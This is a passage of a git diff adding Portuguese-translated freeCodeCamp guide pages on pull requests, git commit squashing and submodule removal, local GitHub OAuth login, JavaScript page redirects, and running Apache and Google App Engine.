+Agora você deve seguir as instruções do Desafio para avançar até o GitHub e o Heroku. Apenas ignore a parte sobre a chave SSH (# 33-36) e substitua `~/workspace` pelo caminho do seu diretório de aplicativos.
+
+## Nota de rodapé
+
+Os passos acima foram testados sob a seguinte configuração:
+
+*   OS X 10.10.5
+*   zsh 5.0.8 (x86\_64-apple-darwin14.3.0)
+*   nó v0.12.7
+*   npm 2.11.3
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-know-who-is-in-charge-of-your-campsite-on-facebook/index.md b/client/src/guide/portuguese/miscellaneous/how-to-know-who-is-in-charge-of-your-campsite-on-facebook/index.md
new file mode 100644
index 0000000000..30bccbc6e0
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-know-who-is-in-charge-of-your-campsite-on-facebook/index.md
@@ -0,0 +1,21 @@
+---
+title: How to Know Who Is in Charge of Your Campsite on Facebook
+localeTitle: Como saber quem está no comando do seu acampamento no Facebook
+---
+As comunidades locais estão sempre mudando, e pode haver mais de um Gerente de Comunidade Voluntário para sua cidade. Para se tornar um administrador no grupo do Facebook, siga as etapas abaixo.
+
+Como descobrir quem é um administrador do seu grupo local:
+
+*   Primeiro, clique na guia Members abaixo da foto da capa. Em seguida, clique na caixa suspensa que diz "todos os membros" \*\*
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/c/cc32710a88436219ac4a02a31e57de577830082b.png)
+
+*   Em seguida, use a caixa suspensa para selecionar "Admins" \*\*
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/c/ca28d984d4ec86bb9fb40326da1c9bb1151ab77c.png)
+
+*   Agora você deve conseguir ver quem é designado como administrador do seu grupo local.
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/9/946354dab087e439a810937de4332ad5e231ccf2.png)
+
+Envie uma mensagem para essa pessoa e diga a ela que você está interessado em ser um administrador. Depois disso, agende seu primeiro encontro.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-log-in-to-your-local-instance-of-free-code-camp/index.md b/client/src/guide/portuguese/miscellaneous/how-to-log-in-to-your-local-instance-of-free-code-camp/index.md
new file mode 100644
index 0000000000..073a6ba03a
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-log-in-to-your-local-instance-of-free-code-camp/index.md
@@ -0,0 +1,63 @@
+---
+title: How to Log in to Your Local Instance of Free Code Camp
+localeTitle: Como efetuar login na sua instância local do campo de código livre
+---
+Este guia ajudará você a acessar seu site local da FCC usando sua conta do GitHub. Esse processo deve ser semelhante para fazer login com outras contas de mídia social. Este guia pressupõe que você já tenha uma cópia local do FCC em funcionamento.
+
+## TL; DR
+
+1.  [Registre um novo aplicativo OAuth](https://github.com/settings/developers)
+2.  Campo da `http://localhost:3000/` page: `http://localhost:3000/`
+3.  Campo de retorno de `http://localhost:3000/auth/github/callback` : `http://localhost:3000/auth/github/callback`
+4.  Copie / cole o ID do cliente e o segredo do cliente em seu arquivo `.env`
+5.  Use a porta 3000 ao visualizar seu site local da FCC
+
+O Free Code Camp Issue Mods e a equipe estão à disposição para ajudar com os problemas relacionados à Solicitação de Pull em nossa [sala de bate-papo de Colaboradores de Ajuda.](https://gitter.im/FreeCodeCamp/HelpContributors)
+
+## aviso Legal
+
+A saída da execução `$ gulp` menciona a **porta de acesso** é 3001. Eu só loguei com sucesso com o GitHub na porta 3000 - a porta do **proxy** . Se você entender como fazer o login usando outras portas, por favor considere o envio de uma solicitação pull neste wiki.
+
+## Login usando sua conta do GitHub
+
+1.  [Registre um novo aplicativo OAuth](https://github.com/settings/developers) e clique em **Registrar novo aplicativo**
+
+_Como alternativa_ , clique na **imagem do perfil** => **Configurações** => **Aplicativos** => **Aplicativos do** **desenvolvedor** => **Registrar novo aplicativo**
+
+![Registrar GitHub OAuth App](//discourse-user-assets.s3.amazonaws.com/original/2X/5/55f4645c3498ceb8098afe8e8353da8f7c262548.png)
+
+1.  Preencha os campos do aplicativo OAuth
+    
+    *   **Nome do aplicativo** - escolha qualquer nome, como `fcc-local`
+        
+    *   **URL da página inicial** - definido como `http://localhost:3000/`
+        
+    *   **Descrição da aplicação** - opcional
+        
+    *   **URL de retorno de chamada de autorização** - definido como `http://localhost:3000/auth/github/callback`
+        
+2.  Clique em **Registrar aplicativo** para ver a página do aplicativo recém-registrado com seu ID do cliente e Segredo do cliente.
+    
+
+![ID do cliente e segredo do cliente](//discourse-user-assets.s3.amazonaws.com/original/2X/c/c43ee37a9f0f228d3663bb28accedc14cca3ff56.png)
+
+1.  Copie e cole seu ID de cliente e Segredo de cliente em seu arquivo `.env` .
+
+_Nota: seu ID do cliente e Segredo do cliente serão valores alfanuméricos longos._
+
+![Atualizar arquivo .env](//discourse-user-assets.s3.amazonaws.com/original/2X/5/549aeaa6ea85e119ba5e978c708dc55c39b134b3.png)
+
+## Dicas
+
+1.  Remover / não configurado com comentário bloqueia o provedor indesejado no provedor de [passaporte](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/server/passport-providers.js) .
+    
+2.  Adicione SESSION _SECRET e COOKIE_ SECRET em `.env` se você receber um erro em express-session e cookieParser.
+    
+    `COOKIE_SECRET='secret' SESSION_SECRET='secret'`
+    
+3.  Execute a `node seed` comando antes de executar o `gulp` se você não conseguir os desafios.
+    
+
+## Acabado
+
+Parabéns! Agora você pode fazer login no seu site local da FCC usando sua conta do GitHub.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-make-a-modal-box-with-css-and-javascript/index.md b/client/src/guide/portuguese/miscellaneous/how-to-make-a-modal-box-with-css-and-javascript/index.md
new file mode 100644
index 0000000000..0f6504a564
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-make-a-modal-box-with-css-and-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Make a Modal Box with CSS and JavaScript
+localeTitle: Como fazer uma caixa modal com CSS e JavaScript
+---
+## Como fazer uma caixa modal com CSS e JavaScript
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/miscellaneous/how-to-make-a-modal-box-with-css-and-javascript/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-make-a-pull-request-on-free-code-camp/index.md b/client/src/guide/portuguese/miscellaneous/how-to-make-a-pull-request-on-free-code-camp/index.md
new file mode 100644
index 0000000000..3c8292223e
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-make-a-pull-request-on-free-code-camp/index.md
@@ -0,0 +1,85 @@
+---
+title: How to Make a Pull Request on Free Code Camp
+localeTitle: Como fazer um pedido pull no Free Code Camp
+---
+# Solicitação de retirada de campo de código livre
+
+**O que é um pedido pull?**
+
+Um pedido pull (PR) é um método de envio de alterações propostas para o Free Code Camp Repo (ou qualquer Repo, para esse efeito). Você fará alterações nas cópias dos arquivos que compõem o Free Code Camp em uma bifurcação pessoal e, em seguida, solicitará que eles sejam aceitos pelo Free Code Camp apropriado.
+
+## Preciso de ajuda?
+
+O Free Code Camp Issue Mods e a equipe estão à disposição para ajudar com os problemas relacionados à Solicitação de Pull na nossa [Sala de Chat de Colaboradores de Ajuda.](https://gitter.im/FreeCodeCamp/Contributors)
+
+## Métodos
+
+Existem dois métodos para criar um campo de código Pull for Free:
+
+1.  Editando arquivos através da interface do GitHub
+2.  Editando arquivos em um clone local
+
+## Importante: EDITAR SEMPRE EM UM RAMO
+
+Tirar apenas uma coisa deste documento, deve ser este: nunca, nunca faça edições para o ramo de `staging` . SEMPRE faça uma nova filial ANTES de editar arquivos. Isto é crítico, porque se o seu PR não for aceito, sua cópia do `staging` ficará para sempre maculada e a única maneira de consertá-lo é excluir seu fork e re-fork.
+
+## Editando via seu garfo local (recomendado)
+
+Este e o metodo recomendado. Leia sobre [como configurar e manter uma instância local do campo de código livre](http://forum.freecodecamp.com/t/how-to-fork-and-maintain-a-local-instance-of-free-code-camp/19116) .
+
+1.  Execute a etapa de manutenção da `staging` de rebasing
+2.  Assegure-se de estar na ramificação `staging` usando o `git status` :
+
+\`  
+$ git status  
+Na preparação de filiais  
+Sua filial está atualizada com "origem / teste".
+
+nada para cometer, diretório de trabalho limpo  
+\`
+
+1.  Se você não estiver no staging ou se o seu diretório de trabalho não estiver limpo, resolva os arquivos / commits pendentes e faça o checkout do staging de `git checkout staging`
+2.  Crie um branch off de `staging` com git: `git checkout -B branch/name-here` Nota: A nomeação de ramificação é importante. Use um nome como `fix/short-fix-description` ou `feature/short-feature-description` Consulte as [diretrizes de contribuição](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/CONTRIBUTING.md) para mais detalhes.
+3.  Edite seu (s) arquivo (s) localmente com o editor de sua escolha
+4.  Verifique seu `git status` para ver arquivos não sincronizados.
+5.  Adicione seus arquivos editados: `git add path/to/filename.ext` Você também pode fazer: `git add .` para adicionar todos os arquivos não sincronizados. Tome cuidado, porque você pode acidentalmente adicionar arquivos que não deseja adicionar. Revise seu `git status` primeiro.
+6.  Confirme suas edições: `git commit -m "Brief Description of Commit"`
+7.  [Esmagar seus commits](http://forum.freecodecamp.com/t/how-to-squash-multiple-commits-into-one-with-git/13231) , se houver mais de um.
+8.  Envie seus commits para o seu GitHub Fork: `git push -u origin branch/name-here`
+9.  Ir para etapas comuns
+
+## Edição através da interface do GitHub
+
+**Nota: A** edição através da interface do GitHub não é recomendada, pois não é possível atualizar seu fork através da interface do GitHub sem excluir e recriar o fork.
+
+1.  Criar um garfo do FCC Repo
+2.  [Crie um ramo](https://help.github.com/articles/creating-and-deleting-branches-within-your-repository/) dentro do seu garfo. Nota: A nomeação de ramos é importante. Use um nome como `fix/short-fix-description` ou `feature/short-feature-description` Consulte as [diretrizes de contribuição](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/CONTRIBUTING.md) para mais detalhes.
+3.  Edite o arquivo e confirme as alterações.
+4.  Continue para as Etapas Comuns.
+
+## Etapas Comuns
+
+1.  Depois que as edições forem confirmadas, você será solicitado a criar uma solicitação de recepção na página do Github do fork.
+2.  Por padrão, todas as solicitações de recebimento devem ser contra o repositório principal da FCC, a divisão de `staging` .
+3.  Faça um título claro para o seu PR, que indica sucintamente o que está sendo corrigido. Não adicione o número do problema no título. Exemplos: `Add Test Cases to Algorithm Drop It` `Correct typo in Challenge Size Your Images`
+4.  No corpo do seu PR, inclua um resumo mais detalhado das alterações feitas e por quê.
+5.  Indique se você testou em uma cópia local do site ou não.
+6.  Se o seu RP for devido a um problema, você poderá [consultar e encerrar o problema](https://help.github.com/articles/closing-issues-via-commit-messages/) automaticamente adicionando uma palavra-chave como `Closes #xxxx` , em que `xxxx` é o número do problema.
+
+## Próximos passos
+
+### Se as alterações forem solicitadas
+
+Não se preocupe, muitos PRs, especialmente os primeiros PRs, precisam ser corrigidos ou atualizados. Se você usou a interface do GitHub para criar seu PR, será necessário fechar seu PR, criar uma nova ramificação e enviá-la novamente. Isto é porque você não pode esmagar seus commits através da interface do GitHub.
+
+Se você tiver uma cópia local do repositório, poderá fazer as alterações solicitadas e alterar sua confirmação com: `git commit --amend` Isso atualizará sua confirmação existente. Quando você o empurrar para o seu fork, você precisará fazer um push force para sobrescrever seu commit antigo: `git push --force`
+
+Certifique-se de publicar na conversa de RP que você fez as alterações solicitadas.
+
+### Se seu PR for aceito
+
+Uma vez que seu PR é aceito, você pode excluir o ramo que você criou para enviá-lo. Isso mantém seu garfo de trabalho limpo. Você pode fazer isso pressionando um botão na interface PR do GitHub. Você pode excluir a cópia local da ramificação com: `git branch -D branch/to-delete-name`
+
+### Se seu PR for rejeitado
+
+Não se desespere! Você deve receber um feedback sólido dos Moderadores de Problemas sobre o motivo pelo qual ele foi rejeitado e o que é necessário. Por favor, continue contribuindo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-pick-a-linux-distribution-and-install/index.md b/client/src/guide/portuguese/miscellaneous/how-to-pick-a-linux-distribution-and-install/index.md
new file mode 100644
index 0000000000..93e2c0049c
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-pick-a-linux-distribution-and-install/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Pick a Linux Distribution and Install
+localeTitle: Como escolher uma distribuição Linux e instalar
+---
+Enquanto a maioria dos fornecedores fornece um sistema operacional que recebe atualizações incrementais e novas versões ao longo do tempo (por exemplo, Windows, Mac OSX, Solaris), o Linux tem centenas de versões diferentes para escolher criadas por diferentes fornecedores. Isto é em parte porque o Linux é um código distribuído gratuitamente que pode ser adaptado às necessidades específicas do usuário. Embora o [kernel](https://en.wikipedia.org/wiki/Linux_kernel) do [Linux](https://en.wikipedia.org/wiki/Linux_kernel) permaneça tipicamente o mesmo (funcionalidade principal das tarefas de gerenciamento do sistema operacional, como gerenciamento de rede, uso de disco, utilização de memória, E / S etc.), as diversas versões diferentes do Linux diferem em partes como a GUI utilizada (ou seja, [Gnome](https://www.gnome.org/) , [KDE](https://www.kde.org/) , [XFCE](http://www.xfce.org/) ou nenhum), ferramentas de sistema, ambientes, gerenciadores de pacotes e aplicativos fornecidos. Esta coleção única de software, juntamente com o kernel, define o que chamamos de [distribuição Linux](https://en.wikipedia.org/wiki/Linux_distribution) (distro for short).
+
+As opiniões sobre qual distribuição escolher variam entre os usuários, mas é melhor escolher uma que tenha um procedimento de instalação contínuo e seja atualizada regularmente com vulnerabilidades e correções de bugs. As distribuições populares populares do Linux, como [Ubuntu](http://www.ubuntu.com/) , [Mint](https://www.linuxmint.com/) e [Fedora](https://getfedora.org/) , cobrem isso. Todos eles têm grande suporte e uma grande coleção de softwares disponíveis para uso gratuito. Outro item a considerar é o suporte a idiomas, algumas distribuições têm melhor suporte em idiomas específicos do que outras. Por exemplo, o [OpenSUSE](https://en.opensuse.org/Main_Page) tem forte suporte para o idioma alemão, e o [Ubuntu Kylin](http://www.ubuntu.com/desktop/ubuntu-kylin) é uma subversão do Ubuntu mais adequada para usuários chineses que usam o chinês simplificado. Verifique o [DistroWatch](http://distrowatch.com/search.php) para procurar suporte em outros idiomas.
+
+A maioria das versões do Linux tem um recurso que permite ao usuário testar a distribuição antes de instalá-la no disco, no que é chamado de [CD ao vivo](https://en.wikipedia.org/wiki/Live_CD) ou [USB ao vivo](http://www.linuxliveusb.com/) . Um usuário pode colocar uma versão menor da distribuição gravada em um CD / DVD ou em uma unidade USB e inicializar a partir dela. Ele deixará o SO atual do usuário intacto, mas estará livre para experimentar a interface do usuário e alguns dos aplicativos. A maioria das distribuições fornecerá uma maneira de usar a mídia ao vivo primeiro para teste e, posteriormente, ao usar a mídia ao vivo, será oferecida uma opção para instalar o sistema operacional no disco permanentemente.
+
+Para os usuários que desejam manter seu sistema operacional atual ou não desejam fazer uma transição completa, outra opção é criar um ambiente virtualizado e instalar o Linux nele usando uma ferramenta como o [VirtualBox](https://www.virtualbox.org/wiki/Downloads) . Um usuário pode executar seu sistema operacional atual e ter uma janela do VirtualBox em execução com uma distribuição do Linux. Essa seria uma situação ideal para alguém que deseja continuar executando o Windows ou o OSX, mas ainda tem acesso a um ambiente Linux.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-post-code-using-markdown/index.md b/client/src/guide/portuguese/miscellaneous/how-to-post-code-using-markdown/index.md
new file mode 100644
index 0000000000..a05c881674
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-post-code-using-markdown/index.md
@@ -0,0 +1,7 @@
+---
+title: How to Post Code Using Markdown
+localeTitle: Como postar código usando o Markdown
+---
+use backticks \`
+
+![postagem](//discourse-user-assets.s3.amazonaws.com/original/2X/d/dfbf7e498cc825f0c6f35cf850d512f6c5a5f5b6.png)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-reach-free-code-camp-team-for-interviews/index.md b/client/src/guide/portuguese/miscellaneous/how-to-reach-free-code-camp-team-for-interviews/index.md
new file mode 100644
index 0000000000..5e37e99dbd
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-reach-free-code-camp-team-for-interviews/index.md
@@ -0,0 +1,12 @@
+---
+title: How to Reach Free Code Camp Team for Interviews
+localeTitle: Como Alcançar a Equipe Livre do Camp Code para Entrevistas
+---
+Estamos felizes em fazer uma entrevista rápida para sua publicação ou programa. Veja a quem você deve entrar em contato sobre o que e como melhor alcançá-lo:
+
+*   Quer falar sobre o currículo do Free Code Camp ou a visão de longo prazo? Estenda a mão para Quincy Larson. Ele é [@ossia no Twitter](https://twitter.com/ossia) e [@quincylarson](/users/quincylarson) no Gitter.
+*   Deseja falar sobre o código-fonte aberto, a infraestrutura ou o JavaScript do Free Code Camp em geral? Fale com Berkeley Martinez. Ele é [@berkeleytrue no Twitter](https://twitter.com/berkeleytrue) e [@berkeleytrue](/users/berkeleytrue) no Gitter.
+*   Quer explorar nossos esforços para capacitar organizações sem fins lucrativos com código? Michael D. Johnson come, dorme e respira isso. Ele é [@codenonprofit no Twitter](https://twitter.com/codenonprofit) e [@codenonprofit](/users/codenonprofit) no Gitter.
+*   Quer ter uma perspectiva de campista em nossa comunidade? Fale com Bianca Mihai. Ela é [@bubuslubu no Twitter](https://twitter.com/bubuslubu) e [@biancamihai](/users/biancamihai) no Gitter. Ou você pode conversar com Suzanne Atkinson. Ela é [@steelcitycoach no Twitter](https://twitter.com/SteelCityCoach) e [@adventurebear](/users/adventurebear) na Gitter.
+
+Nós nos esforçamos para sermos prestativos e transparentes em tudo o que fazemos. Faremos o que pudermos para ajudar você a compartilhar nossa comunidade com seu público.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-redirect-a-web-page/index.md b/client/src/guide/portuguese/miscellaneous/how-to-redirect-a-web-page/index.md
new file mode 100644
index 0000000000..87e56b2fe0
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-redirect-a-web-page/index.md
@@ -0,0 +1,29 @@
+---
+title: How to Redirect a Web Page
+localeTitle: Como redirecionar uma página da Web
+---
+## Como redirecionar uma página da Web
+
+Para redirecionar os visitantes do seu site para uma nova página, adicione uma linha na sua seção de cabeçalho da seguinte maneira: \`\` \`html
+```
+  <script type="text/javascript"> 
+     <!-- 
+        function Redirect() { 
+           window.location="http://www.tutorialspoint.com"; 
+        } 
+     //--> 
+  </script> 
+```
+
+Clique no botão a seguir, você será redirecionado para a página inicial.
+```
+  <form> 
+     <input type="button" value="Redirect Me" onclick="Redirect();" /> 
+  </form> 
+```
+
+```
+There is another option if you just want to change the page as soon as they reach that page: 
+```
+
+javascript window.location.assign ("https: //www.yournewwebsite.fakewebsite"); \`\` \` Substituindo o site pelo seu site. Aquele deve ir dentro de um arquivo JavaScript.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-remove-a-submodule-in-git/index.md b/client/src/guide/portuguese/miscellaneous/how-to-remove-a-submodule-in-git/index.md
new file mode 100644
index 0000000000..93ddc2cfce
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-remove-a-submodule-in-git/index.md
@@ -0,0 +1,20 @@
+---
+title: How to Remove a Submodule in Git
+localeTitle: Como remover um submódulo no Git
+---
+A remoção de um submódulo é útil quando não é mais necessária. As etapas abaixo descrevem a remoção de um submódulo.
+
+## Remova o submódulo
+
+*   Exclua a seção referente ao submódulo do arquivo `.gitmodules`
+*   Encene as mudanças via `git add .gitmodules`
+*   Exclua a seção relevante do submódulo de `.git/config` .
+*   Executar `git rm --cached path_to_submodule` (sem barra)
+*   Execute `rm -rf .git/modules/path_to_submodule`
+*   Confirme as alterações com o \`git commit -m" Submódulo removido "
+*   Exclua os arquivos do submódulo agora não rastreados `rm -rf path_to_submodule`
+
+## Fontes
+
+*   [Stackoverflow - Como faço para remover um submódulo](http://stackoverflow.com/questions/1260748/how-do-i-remove-a-submodule)
+*   [git.wiki.kernel.org - Remoção do submódulo Git](https://git.wiki.kernel.org/index.php/GitSubmoduleTutorial#Removal)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-report-a-bug/index.md b/client/src/guide/portuguese/miscellaneous/how-to-report-a-bug/index.md
new file mode 100644
index 0000000000..ee5bda4e08
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-report-a-bug/index.md
@@ -0,0 +1,27 @@
+---
+title: How to Report a Bug
+localeTitle: Como relatar um bug
+---
+Obrigado por se esforçar para relatar um problema com o freeCodeCamp.
+
+Se você acha que encontrou um bug no freeCodeCamp, siga estas etapas para resolver o problema:
+
+1.  Tente redefinir o código no editor usando o botão de redefinição na página. Isso resolverá a maioria dos problemas se, de alguma forma, você alterar algum código, o que está afetando o desafio de alguma forma. A reinicialização limpa o código para seu estado original como se o desafio tivesse sido apresentado a você pela primeira vez.
+    
+2.  Se a página parece quebrada de alguma forma, tente fazer um [Hard Refresh](http://forum.freecodecamp.com/t/refresh-your-browser-cache/19365) da página. Isso atualizará qualquer código antigo que possa ter sido armazenado em cache no seu navegador.
+    
+    *   Se o seu código trava o seu navegador, tente também [Limpar o armazenamento local do seu navegador](http://forum.freecodecamp.com/t/removing-all-locally-stored-challenges/19129) .
+3.  [Peça ajuda para as salas de chat](http://forum.freecodecamp.com/t/how-to-get-help-on-gitter/19130) . Geralmente, você pode obter uma resposta rápida de um membro da comunidade útil.
+    
+4.  [Peça ajuda no fórum](http://forum.freecodecamp.com/) . Ocasionalmente, você pode ver que suas consultas não são abordadas no bate-papo imediatamente ou pode ser algo que precise de uma discussão. Nesse caso, verifique se você está pesquisando neste fórum e, se não conseguir encontrar uma resposta satisfatória, pergunte-a aqui.
+    
+5.  Se o seu problema tiver confundido todos os usuários nas salas de bate-papo e no fórum, tente [Pesquisar seu problema no GitHub](http://forum.freecodecamp.com/t/searching-for-existing-issues-in-github/18390) para qualquer pessoa que tenha postado sobre um problema semelhante. Se alguém tiver, você pode revalorizar o problema clicando no botão ( ![:thumbsup:](https://forum.freecodecamp.com/images/emoji/emoji_one/thumbsup.png?v=3 ":afirmativo:") ) no post de abertura (primeiro post) no tópico de edição.
+    
+6.  Se você não encontrar nenhum problema relevante no GitHub, [crie um novo problema](http://forum.freecodecamp.com/t/creating-a-new-github-issue/18392) e nossa equipe de desenvolvimento analisará seu problema.
+    
+
+**DISPOSITIVOS MÓVEIS:**  
+Alguns desafios podem não funcionar em dispositivos móveis (navegadores móveis), nós tentamos o nosso melhor para apoiá-los, mas recomendamos que você tente verificar o desafio em um navegador de desktop antes de confirmar como um bug.
+
+**IMPORTANTE:**  
+Antes de relatar um novo problema, sempre receba uma confirmação de terceiros de alguém nas salas de bate-papo ou no fórum. Lembre-se de que o rastreador de problemas é estritamente para relatar bugs ou melhorias, não é um lugar para procurar ajuda para resolver os desafios.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-run-apache-server-on-a-mac-os-x-e1-captain/index.md b/client/src/guide/portuguese/miscellaneous/how-to-run-apache-server-on-a-mac-os-x-e1-captain/index.md
new file mode 100644
index 0000000000..506ff9cdf8
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-run-apache-server-on-a-mac-os-x-e1-captain/index.md
@@ -0,0 +1,21 @@
+---
+title: How to Run Apache Server on a Mac Os X E1 Captain
+localeTitle: Como executar o Apache Server em um capitão do Mac Os X E1
+---
+[O](http://www.apache.org/) servidor [Apache](http://www.apache.org/) é pré-construído no Mac OS X, não é necessário instalar ferramentas de terceiros WAMP, LAMP, MAMP e XAMPP para executar o servidor Apache no Mac.
+
+Quando você considera executar o servidor [Apache](http://www.apache.org/) no Mac OS X E1 Capitão / OS X Yosemite, é bastante diferente das versões anteriores. Aqui você deve a partir de janelas do terminal, opções GUI anteriores para assinalar como webserver da janela de controle do sistema é retirado.
+
+Digite na sua janela de terminal:
+```
+httpd -v 
+```
+
+Ele fornece a versão do servidor e a data de construção.
+
+Aqui http significa Protocolo de Transferência de Hipertexto d significa Daemon, que é um programa de software para uso de multitarefa que também usa no Mac OS X. `httpd` é o programa do servidor Apache HyperText Transfer Protocol (HTTP). Ele é projetado para ser executado como um processo de daemon independente. Tipo
+```
+sudo apachectl start 
+```
+
+na janela do seu terminal e vá para o seu navegador e digite `http://localhost` você terá, `It works!` no seu navegador.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-run-google-app-engine-in-fedora-using-python/index.md b/client/src/guide/portuguese/miscellaneous/how-to-run-google-app-engine-in-fedora-using-python/index.md
new file mode 100644
index 0000000000..75f8d0e45c
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-run-google-app-engine-in-fedora-using-python/index.md
@@ -0,0 +1,24 @@
+---
+title: How to Run Google App Engine in Fedora Using Python
+localeTitle: Como executar o Google App Engine no Fedora usando Python
+---
+Este artigo aborda o guia passo a passo para instalar o Google App Engine no seu sistema operacional Fedora usando python.
+
+*   Siga as etapas nesta documentação do [Google.](https://cloud.google.com/appengine/docs/python/#uploading_the_application)
+
+Testar o aplicativo como indicado no documento acima pode não funcionar para muitos.
+
+Então, tente [isso](http://stackoverflow.com/a/16970921) como dado por Brice Lin.
+
+Além disso, siga a estratégia de implementação fornecida por Brice Lin. Para isso, abra outro terminal (se desejar).
+
+*   Antes de implantar, você precisa criar o projeto no Google Cloud Platform. Siga as etapas de [Fazendo o upload do aplicativo](https://cloud.google.com/appengine/docs/python/#uploading_the_application)
+    
+*   Mas ainda seguindo a estratégia de implantação acima pode não funcionar para muitos. E um erro como este pode seguir:
+    
+    `ERROR appcfg.py:2396 An error occurred processing file '': HTTP Error 400: Bad Request Unexpected HTTP status 400\. Aborting. Error 400: --- begin server output --- A version or backend parameter is required. --- end server output ---`
+    
+
+Este erro ocorre devido à instrução de versão ausente no arquivo **app.yaml** . Portanto, inclua a `version: 1` no arquivo **app.yaml** no repositório do aplicativo. Aqui, `helloworld` é o repositório. Agora vai funcionar. Codificação feliz e fazer a aplicação.
+
+Não se esqueça de verificar este link: [desenvolvendo e implantando um aplicativo no Google App Engine no YouTube.](https://www.youtube.com/watch?v=bfgO-LXGpTM)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-share-your-workspace-selfie-with-free-code-camp-on-instagram/index.md b/client/src/guide/portuguese/miscellaneous/how-to-share-your-workspace-selfie-with-free-code-camp-on-instagram/index.md
new file mode 100644
index 0000000000..cd2c0fccf1
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-share-your-workspace-selfie-with-free-code-camp-on-instagram/index.md
@@ -0,0 +1,13 @@
+---
+title: How to Share Your Workspace Selfie with Free Code Camp on Instagram
+localeTitle: Como compartilhar seu Selfie de espaço de trabalho com o Free Code Camp no Instagram
+---
+FreeCodecamp está no instagram! Veja como tirar uma selfie do espaço de trabalho e compartilhá-la conosco.
+
+## Tire uma selfie sua no seu espaço de trabalho com o Free Code Camp aberto.
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/f/f9165819dd1e91941cd3c7481d28adba04c9ccaf.png)
+
+## Compartilhe no Instagram, Twitter ou Facebook com a hashtag #freecodecamp .
+
+## Mídia social não é a sua praia? Sem problemas! Envie um e-mail para sua selfie no espaço de trabalho para team@freecodecamp.com
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-squash-multiple-commits-into-one-with-git/index.md b/client/src/guide/portuguese/miscellaneous/how-to-squash-multiple-commits-into-one-with-git/index.md
new file mode 100644
index 0000000000..2fe08c40e8
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-squash-multiple-commits-into-one-with-git/index.md
@@ -0,0 +1,31 @@
+---
+title: How to Squash Multiple Commits into One with Git
+localeTitle: Como esmagar vários commits em um com o Git
+---
+Este é um recurso incrível de `rebase` que pode ser usado no modo `interactive` . Para esmagar os últimos _n_ commits em um, execute o seguinte comando:
+```
+git rebase -i HEAD~n 
+```
+
+Isso abrirá um editor de texto com algo semelhante ao seguinte:
+```
+pick commit_1 
+ pick commit_2 
+ pick commit_3 
+ ... 
+ pick commit_n 
+ # Bunch of comments 
+```
+
+Deixe o primeiro commit sozinho e mude o restante das `pick` s para `squash` . Salve e saia do editor.
+
+Então, se você quiser esmagar os últimos três commits, primeiro você executará o `git rebase -i HEAD~3` e então você vai querer editar seus commits para parecer algo assim:
+```
+pick dd661ba Commit 1 
+ squash 71f5fee Commit 2 
+ squash f4b4bf1 Commit 3 
+```
+
+Se você já empurrou para um controle remoto antes de esmagar seus commits, você terá que empurrar para o controle remoto novamente, com o sinalizador `-f` , caso contrário o git lançará um erro em você.
+
+É altamente recomendável que você leia as informações no arquivo aberto, pois há muitas coisas que você pode fazer.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-start-when-you-are-stuck/index.md b/client/src/guide/portuguese/miscellaneous/how-to-start-when-you-are-stuck/index.md
new file mode 100644
index 0000000000..0b58abad0c
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-start-when-you-are-stuck/index.md
@@ -0,0 +1,19 @@
+---
+title: How to Start When You Are Stuck
+localeTitle: Como começar quando você está preso
+---
